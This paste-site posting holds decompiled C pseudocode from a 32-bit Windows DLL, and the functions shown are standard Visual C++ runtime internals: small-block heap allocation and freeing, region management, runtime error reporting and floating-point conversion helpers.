- char *v23; // [esp+28h] [ebp+Ch]
- int *v24; // [esp+28h] [ebp+Ch]
- char v25; // [esp+2Bh] [ebp+Fh]
- result = (_DWORD *)a1[4];
- v3 = (int *)(a2 - 4);
- v4 = (unsigned int)(a2 - a1[3]) >> 15;
- v19 = &result[129 * v4 + 81];
- v5 = *(_DWORD *)(a2 - 4) - 1;
- v22 = v5;
- if ( (v5 & 1) == 0 )
- {
- v6 = (char *)v3 + v5;
- v20 = *(int *)((char *)v3 + v5);
- v21 = *(_DWORD *)(a2 - 8);
- v23 = (char *)v3 + v5;
- if ( (v20 & 1) == 0 )
- {
- v7 = (v20 >> 4) - 1;
- if ( v7 > 0x3F )
- v7 = 63;
- if ( *((_DWORD *)v6 + 1) == *((_DWORD *)v6 + 2) )
- {
- if ( v7 >= 0x20 )
- {
- v11 = (char *)result + v7 + 4;
- v12 = ~(0x80000000 >> (v7 - 32));
- result[v4 + 49] &= v12;
- v10 = (*v11)-- == 1;
- if ( v10 )
- a1[1] &= v12;
- }
- else
- {
- v8 = (char *)result + v7 + 4;
- v9 = ~(0x80000000 >> v7);
- result[v4 + 17] &= v9;
- v10 = (*v8)-- == 1;
- if ( v10 )
- *a1 &= v9;
- }
- v5 = v22;
- v6 = v23;
- }
- v5 += v20;
- *(_DWORD *)(*((_DWORD *)v6 + 2) + 4) = *((_DWORD *)v6 + 1);
- v22 = v5;
- *(_DWORD *)(*((_DWORD *)v23 + 1) + 8) = *((_DWORD *)v23 + 2);
- }
- v13 = (v5 >> 4) - 1;
- if ( v13 > 0x3F )
- v13 = 63;
- if ( (v21 & 1) != 0 )
- {
- v14 = (unsigned int)a1;
- }
- else
- {
- v24 = (int *)((char *)v3 - v21);
- v14 = (v21 >> 4) - 1;
- if ( v14 > 0x3F )
- v14 = 63;
- v22 = v21 + v5;
- v13 = ((v21 + v5) >> 4) - 1;
- if ( v13 > 0x3F )
- v13 = 63;
- if ( v14 != v13 )
- {
- if ( v24[1] == v24[2] )
- {
- if ( v14 >= 0x20 )
- {
- v16 = ~(0x80000000 >> (v14 - 32));
- result[v4 + 49] &= v16;
- v10 = (*((_BYTE *)result + v14 + 4))-- == 1;
- if ( v10 )
- a1[1] &= v16;
- }
- else
- {
- v15 = ~(0x80000000 >> v14);
- result[v4 + 17] &= v15;
- v10 = (*((_BYTE *)result + v14 + 4))-- == 1;
- if ( v10 )
- *a1 &= v15;
- }
- }
- *(_DWORD *)(v24[2] + 4) = v24[1];
- *(_DWORD *)(v24[1] + 8) = v24[2];
- }
- v3 = v24;
- }
- if ( (v21 & 1) != 0 || v14 != v13 )
- {
- v17 = &v19[2 * v13];
- v3[1] = v17[1];
- v3[2] = (int)v17;
- v17[1] = v3;
- *(_DWORD *)(v3[1] + 8) = v3;
- if ( v3[1] == v3[2] )
- {
- v25 = *((_BYTE *)result + v13 + 4);
- *((_BYTE *)result + v13 + 4) = v25 + 1;
- if ( v13 >= 0x20 )
- {
- if ( !v25 )
- a1[1] |= 0x80000000 >> (v13 - 32);
- result[v4 + 49] |= 0x80000000 >> (v13 - 32);
- }
- else
- {
- if ( !v25 )
- *a1 |= 0x80000000 >> v13;
- result[v4 + 17] |= 0x80000000 >> v13;
- }
- }
- }
- *v3 = v22;
- *(int *)((char *)v3 + v22 - 4) = v22;
- result += 129 * v4 + 81;
- v10 = (*v19)-- == 1;
- if ( v10 )
- {
- if ( dword_10015020 )
- {
- VirtualFree((LPVOID)(*((_DWORD *)dword_10015020 + 3) + (dword_10015018 << 15)), 0x8000u, 0x4000u);
- *((_DWORD *)dword_10015020 + 2) |= 0x80000000 >> dword_10015018;
- *(_DWORD *)(*((_DWORD *)dword_10015020 + 4) + 4 * dword_10015018 + 196) = 0;
- --*(_BYTE *)(*((_DWORD *)dword_10015020 + 4) + 67);
- v18 = (LPVOID *)dword_10015020;
- if ( !*(_BYTE *)(*((_DWORD *)dword_10015020 + 4) + 67) )
- {
- *((_DWORD *)dword_10015020 + 1) &= ~1u;
- v18 = (LPVOID *)dword_10015020;
- }
- if ( v18[2] == (LPVOID)-1 )
- {
- VirtualFree(v18[3], 0, 0x8000u);
- HeapFree(hHeap, 0, *((LPVOID *)dword_10015020 + 4));
- memcpy(
- dword_10015020,
- (char *)dword_10015020 + 20,
- (size_t)lpMem + 20 * dword_10015024 - (_DWORD)dword_10015020 - 20);
- --dword_10015024;
- if ( a1 > dword_10015020 )
- a1 -= 5;
- dword_1001501C = (int)lpMem;
- }
- }
- result = a1;
- dword_10015018 = v4;
- dword_10015020 = a1;
- }
- }
- return result;
- }
- // 10015018: using guessed type int dword_10015018;
- // 1001501C: using guessed type int dword_1001501C;
- // 10015024: using guessed type int dword_10015024;
- //----- (10005FC2) --------------------------------------------------------
- void **sub_10005FC2()
- {
- void **v0; // esi
- _DWORD *v1; // eax
- _DWORD *v2; // edi
- int *v3; // eax
- int v4; // ebp
- int v5; // edx
- if ( dword_10011B70 == -1 )
- {
- v0 = &off_10011B60;
- }
- else
- {
- v0 = (void **)HeapAlloc(hHeap, 0, 0x2020u);
- if ( !v0 )
- return 0;
- }
- v1 = VirtualAlloc(0, 0x400000u, 0x2000u, 4u);
- v2 = v1;
- if ( !v1 )
- {
- LABEL_19:
- if ( v0 != &off_10011B60 )
- HeapFree(hHeap, 0, v0);
- return 0;
- }
- if ( !VirtualAlloc(v1, 0x10000u, 0x1000u, 4u) )
- {
- VirtualFree(v2, 0, 0x8000u);
- goto LABEL_19;
- }
- if ( v0 == &off_10011B60 )
- {
- if ( !off_10011B60 )
- off_10011B60 = &off_10011B60;
- if ( !off_10011B64 )
- off_10011B64 = &off_10011B60;
- }
- else
- {
- *v0 = &off_10011B60;
- v0[1] = off_10011B64;
- off_10011B64 = v0;
- *(_DWORD *)v0[1] = v0;
- }
- v0[5] = v2 + 0x100000;
- v3 = (int *)(v0 + 6);
- v0[3] = v0 + 38;
- v0[4] = v2;
- v0[2] = v0 + 6;
- v4 = 0;
- do
- {
- v5 = v4++ >= 16 ? -1 : 240;
- *v3 = v5;
- v3[1] = 241;
- v3 += 2;
- }
- while ( v4 < 1024 );
- memset(v2, 0, 0x10000u);
- while ( v2 < (_DWORD *)((char *)v0[4] + 0x10000) )
- {
- *((_BYTE *)v2 + 248) = -1;
- *v2 = v2 + 2;
- v2[1] = 240;
- v2 += 1024;
- }
- return v0;
- }
- // 10011B60: using guessed type void *off_10011B60;
- // 10011B70: using guessed type int dword_10011B70;
- //----- (10006106) --------------------------------------------------------
- void **__cdecl sub_10006106(void **lpMem)
- {
- void **result; // eax
- result = (void **)VirtualFree(lpMem[4], 0, 0x8000u);
- if ( off_10013B80 == lpMem )
- {
- result = (void **)lpMem[1];
- off_10013B80 = result;
- }
- if ( lpMem == &off_10011B60 )
- {
- dword_10011B70 = -1;
- }
- else
- {
- *(_DWORD *)lpMem[1] = *lpMem;
- *((_DWORD *)*lpMem + 1) = lpMem[1];
- return (void **)HeapFree(hHeap, 0, lpMem);
- }
- return result;
- }
- // 10011B60: using guessed type void *off_10011B60;
- // 10011B70: using guessed type int dword_10011B70;
- // 10013B80: using guessed type void **off_10013B80;
- //----- (1000615C) --------------------------------------------------------
- void __cdecl sub_1000615C(int a1)
- {
- _DWORD *v1; // esi
- _DWORD *v2; // edi
- int i; // ebx
- unsigned int v4; // eax
- _DWORD *v5; // ecx
- _DWORD *v6; // eax
- int j; // edx
- int v8; // [esp+Ch] [ebp-4h]
- v1 = off_10011B64;
- do
- {
- if ( v1[4] != -1 )
- {
- v8 = 0;
- v2 = v1 + 2052;
- for ( i = 4190208; i >= 0; i -= 4096 )
- {
- if ( *v2 == 240 && VirtualFree((LPVOID)(v1[4] + i), 0x1000u, 0x4000u) )
- {
- *v2 = -1;
- --dword_10014954;
- v4 = v1[3];
- if ( !v4 || v4 > (unsigned int)v2 )
- v1[3] = v2;
- ++v8;
- if ( !--a1 )
- break;
- }
- v2 -= 2;
- }
- v5 = v1;
- v1 = (_DWORD *)v1[1];
- if ( v8 && v5[6] == -1 )
- {
- v6 = v5 + 8;
- for ( j = 1; j < 1024; ++j )
- {
- if ( *v6 != -1 )
- break;
- v6 += 2;
- }
- if ( j == 1024 )
- sub_10006106((void **)v5);
- }
- }
- }
- while ( v1 != off_10011B64 && a1 > 0 );
- }
- // 10014954: using guessed type int dword_10014954;
- //----- (1000621E) --------------------------------------------------------
- unsigned int __cdecl sub_1000621E(unsigned int a1, void ***a2, unsigned int *a3)
- {
- void **v3; // ecx
- v3 = &off_10011B60;
- while ( a1 <= (unsigned int)v3[4] || a1 >= (unsigned int)v3[5] )
- {
- v3 = (void **)*v3;
- if ( v3 == &off_10011B60 )
- return 0;
- }
- if ( (a1 & 0xF) == 0 && (a1 & 0xFFF) >= 0x100 )
- {
- *a2 = v3;
- *a3 = a1 & 0xFFFFF000;
- return ((int)(a1 - (a1 & 0xFFFFF000) - 256) >> 4) + (a1 & 0xFFFFF000) + 8;
- }
- return 0;
- }
- // 10011B60: using guessed type void *off_10011B60;
- //----- (10006275) --------------------------------------------------------
- void __cdecl sub_10006275(int a1, int a2, _BYTE *a3)
- {
- _DWORD *v3; // eax
- bool v4; // zf
- v3 = (_DWORD *)(a1 + 8 * ((a2 - *(_DWORD *)(a1 + 16)) >> 12) + 24);
- *v3 += (unsigned __int8)*a3;
- *a3 = 0;
- v4 = *v3 == 240;
- v3[1] = 241;
- if ( v4 && ++dword_10014954 == 32 )
- sub_1000615C(16);
- }
- // 10014954: using guessed type int dword_10014954;
- //----- (100062BA) --------------------------------------------------------
- int __cdecl sub_100062BA(unsigned int a1)
- {
- void **v1; // esi
- void *v2; // edx
- unsigned int *v3; // edi
- int v4; // eax
- unsigned int v5; // ebx
- int result; // eax
- void **v7; // edi
- _DWORD *v8; // ebx
- _DWORD *v9; // eax
- _DWORD *i; // esi
- void **v11; // ecx
- _DWORD *v12; // eax
- void **v13; // eax
- bool v14; // cf
- void **v15; // eax
- _BYTE *v16; // ecx
- unsigned int Val; // [esp+Ch] [ebp-8h]
- int v18; // [esp+10h] [ebp-4h]
- int v19; // [esp+10h] [ebp-4h]
- int v20; // [esp+10h] [ebp-4h]
- v1 = off_10013B80;
- do
- {
- v2 = v1[4];
- if ( v2 == (void *)-1 )
- {
- v5 = a1;
- }
- else
- {
- v3 = (unsigned int *)v1[2];
- v4 = (int)v2 + 4096 * (((char *)v3 - (char *)v1 - 24) >> 3);
- v18 = v4;
- if ( v3 < (unsigned int *)v1 + 2054 )
- {
- while ( 1 )
- {
- v5 = a1;
- if ( (int)*v3 >= (int)a1 && v3[1] > a1 )
- {
- result = sub_100064C2(v4, *v3, a1);
- if ( result )
- {
- LABEL_21:
- off_10013B80 = v1;
- *v3 -= v5;
- v1[2] = v3;
- return result;
- }
- v4 = v18;
- v3[1] = a1;
- }
- v3 += 2;
- v4 += 4096;
- v18 = v4;
- if ( v3 >= (unsigned int *)v1 + 2054 )
- goto LABEL_11;
- }
- }
- v5 = a1;
- LABEL_11:
- v3 = (unsigned int *)(v1 + 6);
- Val = (unsigned int)v1[2];
- v19 = (int)v1[4];
- if ( (unsigned int)(v1 + 6) < Val )
- {
- do
- {
- if ( (int)*v3 >= (int)v5 && v3[1] > v5 )
- {
- result = sub_100064C2(v19, *v3, v5);
- if ( result )
- goto LABEL_21;
- v3[1] = v5;
- }
- v19 += 4096;
- v3 += 2;
- }
- while ( (unsigned int)v3 < Val );
- }
- }
- v1 = (void **)*v1;
- }
- while ( v1 != off_10013B80 );
- v7 = &off_10011B60;
- while ( v7[4] == (void *)-1 || !v7[3] )
- {
- v7 = (void **)*v7;
- if ( v7 == &off_10011B60 )
- {
- v15 = sub_10005FC2();
- if ( v15 )
- {
- v16 = v15[4];
- v16[8] = v5;
- off_10013B80 = v15;
- *(_DWORD *)v16 = &v16[v5 + 8];
- *((_DWORD *)v16 + 1) = 240 - v5;
- v15[6] = (char *)v15[6] - (unsigned __int8)v5;
- return (int)(v16 + 256);
- }
- return 0;
- }
- }
- v8 = v7[3];
- v20 = 0;
- v9 = v8;
- for ( i = (char *)v7[4] + 4096 * (((char *)v8 - (char *)v7 - 24) >> 3); *v9 == -1; ++v20 )
- {
- if ( v20 >= 16 )
- break;
- v9 += 2;
- }
- if ( VirtualAlloc(i, v20 << 12, 0x1000u, 4u) != i )
- return 0;
- v11 = (void **)v8;
- if ( v20 > 0 )
- {
- v12 = i + 1;
- do
- {
- *((_BYTE *)v12 + 244) = -1;
- *(v12 - 1) = v12 + 1;
- *v12 = 240;
- *v11 = (void *)240;
- v11[1] = (void *)241;
- v12 += 1024;
- v11 += 2;
- --v20;
- }
- while ( v20 );
- }
- off_10013B80 = v7;
- v13 = v7 + 2054;
- while ( 1 )
- {
- v14 = v11 < v13;
- if ( v11 >= v13 )
- break;
- if ( *v11 == (void *)-1 )
- {
- v14 = v11 < v13;
- break;
- }
- v11 += 2;
- }
- v7[3] = v14 ? v11 : 0;
- *((_BYTE *)i + 8) = a1;
- v7[2] = v8;
- *v8 -= a1;
- i[1] -= a1;
- result = (int)(i + 64);
- *i = (char *)i + a1 + 8;
- return result;
- }
- // 10011B60: using guessed type void *off_10011B60;
- // 10013B80: using guessed type void **off_10013B80;
- //----- (100064C2) --------------------------------------------------------
- int __cdecl sub_100064C2(int a1, unsigned int a2, unsigned int a3)
- {
- unsigned int v4; // esi
- _BYTE *v5; // edi
- unsigned int v6; // ebx
- _BYTE *v7; // eax
- _BYTE *v8; // eax
- _BYTE *v9; // esi
- _BYTE *v10; // ebx
- unsigned int v11; // esi
- _BYTE *v12; // esi
- _BYTE *v13; // ebx
- unsigned int v14; // eax
- _BYTE *v16; // [esp+Ch] [ebp-4h]
- unsigned int v17; // [esp+18h] [ebp+8h]
- v4 = *(_DWORD *)(a1 + 4);
- v5 = *(_BYTE **)a1;
- v6 = a1 + 248;
- v16 = *(_BYTE **)a1;
- v7 = *(_BYTE **)a1;
- v17 = a1 + 248;
- if ( v4 >= a3 )
- {
- *v5 = a3;
- if ( (unsigned int)&v5[a3] >= v6 )
- {
- *(_DWORD *)(a1 + 4) = 0;
- *(_DWORD *)a1 = a1 + 8;
- }
- else
- {
- *(_DWORD *)a1 += a3;
- *(_DWORD *)(a1 + 4) -= a3;
- }
- v8 = v5 + 8;
- return 16 * (_DWORD)v8 - 15 * a1;
- }
- v9 = &v5[v4];
- if ( *v9 )
- v7 = v9;
- if ( (unsigned int)&v7[a3] >= v6 )
- {
- LABEL_20:
- v12 = (_BYTE *)(a1 + 8);
- while ( v12 < v5 && (unsigned int)&v12[a3] < v17 )
- {
- if ( *v12 )
- {
- v12 += (unsigned __int8)*v12;
- }
- else
- {
- v13 = v12 + 1;
- v14 = 1;
- while ( !*v13 )
- {
- ++v13;
- ++v14;
- }
- if ( v14 >= a3 )
- {
- if ( (unsigned int)&v12[a3] >= v17 )
- {
- *(_DWORD *)(a1 + 4) = 0;
- *(_DWORD *)a1 = a1 + 8;
- }
- else
- {
- *(_DWORD *)a1 = &v12[a3];
- *(_DWORD *)(a1 + 4) = v14 - a3;
- }
- *v12 = a3;
- v8 = v12 + 8;
- return 16 * (_DWORD)v8 - 15 * a1;
- }
- a2 -= v14;
- if ( a2 < a3 )
- return 0;
- v12 = v13;
- }
- }
- return 0;
- }
- while ( *v7 )
- {
- v7 += (unsigned __int8)*v7;
- LABEL_19:
- if ( (unsigned int)&v7[a3] >= v17 )
- goto LABEL_20;
- }
- v10 = v7 + 1;
- v11 = 1;
- while ( !*v10 )
- {
- ++v10;
- ++v11;
- }
- if ( v11 < a3 )
- {
- if ( v7 == v16 )
- {
- *(_DWORD *)(a1 + 4) = v11;
- }
- else
- {
- a2 -= v11;
- if ( a2 < a3 )
- return 0;
- }
- v5 = v16;
- v7 = v10;
- goto LABEL_19;
- }
- if ( (unsigned int)&v7[a3] >= v17 )
- {
- *(_DWORD *)(a1 + 4) = 0;
- *(_DWORD *)a1 = a1 + 8;
- }
- else
- {
- *(_DWORD *)a1 = &v7[a3];
- *(_DWORD *)(a1 + 4) = v11 - a3;
- }
- *v7 = a3;
- v8 = v7 + 8;
- return 16 * (_DWORD)v8 - 15 * a1;
- }
- //----- (100076E9) --------------------------------------------------------
- void __thiscall __noreturn sub_100076E9(EXCEPTION_POINTERS *this)
- {
- int v1; // [esp-Ch] [ebp-24h] BYREF
- CPPEH_RECORD ms_exc; // [esp+0h] [ebp-18h]
- ms_exc.registration.ScopeTable = stru_1000C2E8;
- ms_exc.registration.ExceptionHandler = _except_handler3;
- ms_exc.registration.Next = (struct _EH3_EXCEPTION_REGISTRATION *)NtCurrentTeb()->NtTib.ExceptionList;
- ms_exc.exc_ptr = this;
- ms_exc.old_esp = (DWORD)&v1;
- ms_exc.registration.TryLevel = 0;
- if ( off_10013C74 )
- {
- ms_exc.registration.TryLevel = 1;
- off_10013C74();
- }
- ms_exc.registration.TryLevel = -1;
- terminate();
- }
- // 1000C2E8: using guessed type _SCOPETABLE_ENTRY stru_1000C2E8[2];
- // 10013C74: using guessed type void (__cdecl __noreturn *off_10013C74)();
- //----- (10007EDE) --------------------------------------------------------
- int *__cdecl sub_10007EDE(DWORD NumberOfBytesWritten)
- {
- int v1; // ecx
- int *result; // eax
- int v3; // esi
- char *v4; // edi
- const char **v5; // esi
- HANDLE StdHandle; // eax
- const char *v7; // [esp-14h] [ebp-1B8h]
- DWORD v8; // [esp-10h] [ebp-1B4h]
- DWORD *p_NumberOfBytesWritten; // [esp-Ch] [ebp-1B0h]
- int v10; // [esp-8h] [ebp-1ACh]
- CHAR Filename[260]; // [esp+0h] [ebp-1A4h] BYREF
- char Destination[160]; // [esp+104h] [ebp-A0h] BYREF
- int savedregs; // [esp+1A4h] [ebp+0h] BYREF
- v1 = 0;
- result = dword_10013CA0;
- do
- {
- if ( NumberOfBytesWritten == *result )
- break;
- result += 2;
- ++v1;
- }
- while ( result < &dword_10013D30 );
- v3 = 2 * v1;
- if ( NumberOfBytesWritten == dword_10013CA0[2 * v1] )
- {
- result = (int *)dword_1001494C;
- if ( dword_1001494C == 1 || !dword_1001494C && dword_10014950 == 1 )
- {
- v5 = (const char **)&(&off_10013CA4)[v3];
- v10 = 0;
- p_NumberOfBytesWritten = &NumberOfBytesWritten;
- v8 = strlen(*v5);
- v7 = *v5;
- StdHandle = GetStdHandle(0xFFFFFFF4);
- return (int *)WriteFile(StdHandle, v7, v8, &NumberOfBytesWritten, 0);
- }
- else if ( NumberOfBytesWritten != 252 )
- {
- if ( !GetModuleFileNameA(0, Filename, 0x104u) )
- strcpy(Filename, "<program name unknown>");
- v4 = Filename;
- if ( strlen(Filename) + 1 > 0x3C )
- {
- v4 = (char *)&savedregs + strlen(Filename) - 479;
- strncpy(v4, "...", 3u);
- }
- strcpy(Destination, "Runtime Error!\n\nProgram: ");
- strcat(Destination, v4);
- strcat(Destination, "\n\n");
- strcat(Destination, (&off_10013CA4)[v3]);
- return (int *)__crtMessageBoxA(Destination, "Microsoft Visual C++ Runtime Library", 73744);
- }
- }
- return result;
- }
- // 10009B45: using guessed type _DWORD __cdecl __crtMessageBoxA(_DWORD, _DWORD, _DWORD);
- // 10013CA0: using guessed type int dword_10013CA0[];
- // 10013CA4: using guessed type char *off_10013CA4;
- // 10013D30: using guessed type int dword_10013D30;
- // 1001494C: using guessed type int dword_1001494C;
- // 10014950: using guessed type int dword_10014950;
- //----- (10008DF3) --------------------------------------------------------
- int __cdecl sub_10008DF3(int a1, int a2)
- {
- return _ld12cvt(a1, a2, &unk_10013F48);
- }
- // 10008C87: using guessed type _DWORD __cdecl _ld12cvt(_DWORD, _DWORD, _DWORD);
- //----- (10008E09) --------------------------------------------------------
- int __cdecl sub_10008E09(int a1, int a2)
- {
- return _ld12cvt(a1, a2, &unk_10013F60);
- }
- // 10008C87: using guessed type _DWORD __cdecl _ld12cvt(_DWORD, _DWORD, _DWORD);
- //----- (10008E1F) --------------------------------------------------------
- int __cdecl sub_10008E1F(int a1, int a2)
- {
- char v3[12]; // [esp+0h] [ebp-Ch] BYREF
- __strgtold12(v3, &a2, a2, 0, 0, 0, 0);
- return sub_10008DF3((int)v3, a1);
- }
- // 1000A40A: using guessed type _DWORD __cdecl __strgtold12(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- //----- (10008E4C) --------------------------------------------------------
- int __cdecl sub_10008E4C(int a1, int a2)
- {
- char v3[12]; // [esp+0h] [ebp-Ch] BYREF
- __strgtold12(v3, &a2, a2, 0, 0, 0, 0);
- return sub_10008E09((int)v3, a1);
- }
- // 1000A40A: using guessed type _DWORD __cdecl __strgtold12(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- //----- (100091CA) --------------------------------------------------------
- LONG (__stdcall *sub_100091CA())(struct _EXCEPTION_POINTERS *ExceptionInfo)
- {
- LONG (__stdcall *result)(struct _EXCEPTION_POINTERS *); // eax
- result = SetUnhandledExceptionFilter(__CxxUnhandledExceptionFilter);
- lpfn = result;
- return result;
- }
- //----- (100091DB) --------------------------------------------------------
- LPTOP_LEVEL_EXCEPTION_FILTER sub_100091DB()
- {
- return SetUnhandledExceptionFilter(lpfn);
- }
- //----- (100092C4) --------------------------------------------------------
- int __cdecl sub_100092C4(int a1, int a2)
- {
- unsigned int v2; // esi
- int result; // eax
- void *v4; // [esp+14h] [ebp-20h]
- size_t v5; // [esp+18h] [ebp-1Ch]
- v2 = a2 * a1;
- v5 = a2 * a1;
- if ( (unsigned int)(a2 * a1) <= 0xFFFFFFE0 )
- {
- if ( !v2 )
- v2 = 1;
- v2 = (v2 + 15) & 0xFFFFFFF0;
- }
- while ( 1 )
- {
- v4 = 0;
- if ( v2 <= 0xFFFFFFE0 )
- {
- if ( dword_10015034 == 3 )
- {
- if ( v5 > dword_1001502C )
- goto LABEL_14;
- _lock(9);
- v4 = (void *)__sbh_alloc_block(v5);
- _unlock(9);
- if ( v4 )
- {
- memset(v4, 0, v5);
- goto LABEL_14;
- }
- LABEL_15:
- v4 = HeapAlloc(hHeap, 8u, v2);
- goto LABEL_16;
- }
- if ( dword_10015034 == 2 && v2 <= dword_10013B84 )
- {
- _lock(9);
- v4 = (void *)sub_100062BA(v2 >> 4);
- _unlock(9);
- if ( !v4 )
- goto LABEL_15;
- memset(v4, 0, v2);
- }
- LABEL_14:
- if ( v4 )
- return (int)v4;
- goto LABEL_15;
- }
- LABEL_16:
- if ( v4 || !dword_100149B8 )
- return (int)v4;
- result = _callnewh(v2);
- if ( !result )
- return result;
- }
- }
- // 10005B0D: using guessed type _DWORD __cdecl __sbh_alloc_block(_DWORD);
- // 1000667B: using guessed type _DWORD __cdecl _lock(_DWORD);
- // 100066DC: using guessed type _DWORD __cdecl _unlock(_DWORD);
- // 10013B84: using guessed type int dword_10013B84;
- // 1001502C: using guessed type int dword_1001502C;
- // 10015034: using guessed type int dword_10015034;
- // nfuncs=300 queued=116 decompiled=116 lumina nreq=0 worse=0 better=0
- // ALL OK, 116 function(s) have been successfully decompiled
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement